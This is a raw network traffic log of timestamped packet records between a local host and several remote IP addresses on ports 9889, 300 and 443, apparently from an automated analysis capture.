Oct 18, 2024 23:46:19.557071924 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.557087898 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.557102919 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.557118893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.557184935 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.557301998 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.581192970 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.581224918 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.581295013 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.581358910 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.581444979 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.581494093 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.596256971 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.596290112 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.596339941 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.596371889 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.596381903 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.596381903 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.596406937 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.596417904 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.596456051 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.596456051 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.606400013 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606430054 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606478930 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606506109 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.606513977 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606534958 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.606534958 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.606554031 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606590986 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606590986 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.606622934 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.606622934 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606640100 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.606657028 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606697083 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.606697083 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.606724024 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606760025 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606776953 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.606823921 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.606849909 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606899977 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606906891 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.606933117 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606965065 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.606971025 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.607000113 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.607014894 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.607110023 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.607170105 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.607287884 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.607287884 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.615509033 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.615562916 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.615596056 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.615638018 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.615638018 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.615645885 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.615678072 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.615679026 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.615714073 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.615730047 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.615730047 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.615746975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.615793943 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.615793943 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.615797997 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.615832090 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.615865946 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.615883112 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.615883112 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.615900040 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.615947962 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.615947962 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.616063118 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.616096020 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.616128922 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.616144896 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.616144896 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.616179943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.616213083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.616214037 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.616245031 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.616255045 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.616255045 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.616278887 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.616323948 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.616323948 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646287918 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646320105 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646369934 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646384001 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646384001 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646405935 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646430016 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646437883 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646454096 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646472931 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646509886 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646509886 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646518946 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646550894 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646569967 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646601915 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646612883 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646651030 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646692991 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646692991 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646776915 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646810055 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646833897 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646842957 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646866083 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646878004 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.646936893 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.646936893 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647005081 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647079945 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647083998 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647152901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647160053 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647190094 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647222996 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647232056 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647232056 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647289991 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647316933 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647367001 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647403002 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647417068 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647417068 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647470951 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647519112 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647571087 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647576094 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647624016 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647643089 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647675991 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647686005 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647711039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647744894 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647753000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647753000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647778988 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647815943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647826910 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647826910 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647845030 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.647888899 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.647888899 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.648236990 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.648268938 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.648297071 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.648303986 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.648338079 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.648348093 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.648348093 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.648386002 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.673960924 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.673975945 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.673990011 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.674069881 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.674138069 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.684850931 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:19.684959888 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:19.686868906 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:19.686893940 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:19.687232018 CEST	443	49723	172.202.163.200	192.168.2.5
Oct 18, 2024 23:46:19.698188066 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.698220015 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.698328972 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.698349953 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.698401928 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.712888002 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.712985992 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.712984085 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.713001966 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.713017941 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.713032961 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.713047981 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.713063002 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.713069916 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.713079929 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.713150024 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.713150024 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.723464012 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.723486900 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.723501921 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.723516941 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.723606110 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.723607063 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.723622084 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.723639011 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.723645926 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.723654032 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.723670006 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.723679066 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.723705053 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.723731995 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.723788023 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.724008083 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.724040031 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.724065065 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.724092007 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.724138975 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.724138975 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.727678061 CEST	49711	300	192.168.2.5	103.192.208.114
Oct 18, 2024 23:46:19.729420900 CEST	49723	443	192.168.2.5	172.202.163.200
Oct 18, 2024 23:46:19.732513905 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.732573032 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.732587099 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.732589006 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.732604980 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.732620001 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.732646942 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.732650995 CEST	300	49711	103.192.208.114	192.168.2.5
Oct 18, 2024 23:46:19.732666016 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.732690096 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.732705116 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.732712984 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.732712984 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.732719898 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.732736111 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.732757092 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.732795000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.733046055 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.733067989 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.733083963 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.733098030 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.733113050 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.733129025 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.733128071 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.733128071 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.733163118 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.733205080 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.733457088 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.733481884 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.733496904 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.733551979 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.733551979 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.742645025 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.742674112 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.742748022 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.742760897 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.742777109 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.742808104 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.758865118 CEST	49706	300	192.168.2.5	45.124.79.198
Oct 18, 2024 23:46:19.763914108 CEST	300	49706	45.124.79.198	192.168.2.5
Oct 18, 2024 23:46:19.764013052 CEST	49712	300	192.168.2.5	103.192.208.122
Oct 18, 2024 23:46:19.765213013 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.765228987 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.765243053 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.765289068 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.765316963 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.765340090 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.765355110 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.765361071 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.765362978 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.765378952 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.765381098 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.765396118 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.765419960 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.765435934 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.765441895 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.765450954 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.765465975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.765495062 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.765495062 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.765559912 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.765968084 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766022921 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766031027 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766040087 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766056061 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766079903 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766079903 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766134977 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766165972 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766230106 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766246080 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766268015 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766278982 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766287088 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766304016 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766330004 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766330004 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766355991 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766630888 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766645908 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766661882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766685963 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766695976 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766700029 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766722918 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766726017 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766742945 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766765118 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766776085 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766776085 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766779900 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766794920 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766810894 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.766832113 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766844034 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.766868114 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.769639969 CEST	300	49712	103.192.208.122	192.168.2.5
Oct 18, 2024 23:46:19.787622929 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.787725925 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.787822008 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.787822008 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.787870884 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.787885904 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.787902117 CEST	49721	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.787909985 CEST	443	49721	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.791376114 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.791407108 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.791423082 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.791496038 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.791496038 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.791497946 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.791516066 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.791557074 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.791595936 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.805721045 CEST	49709	300	192.168.2.5	115.236.153.243
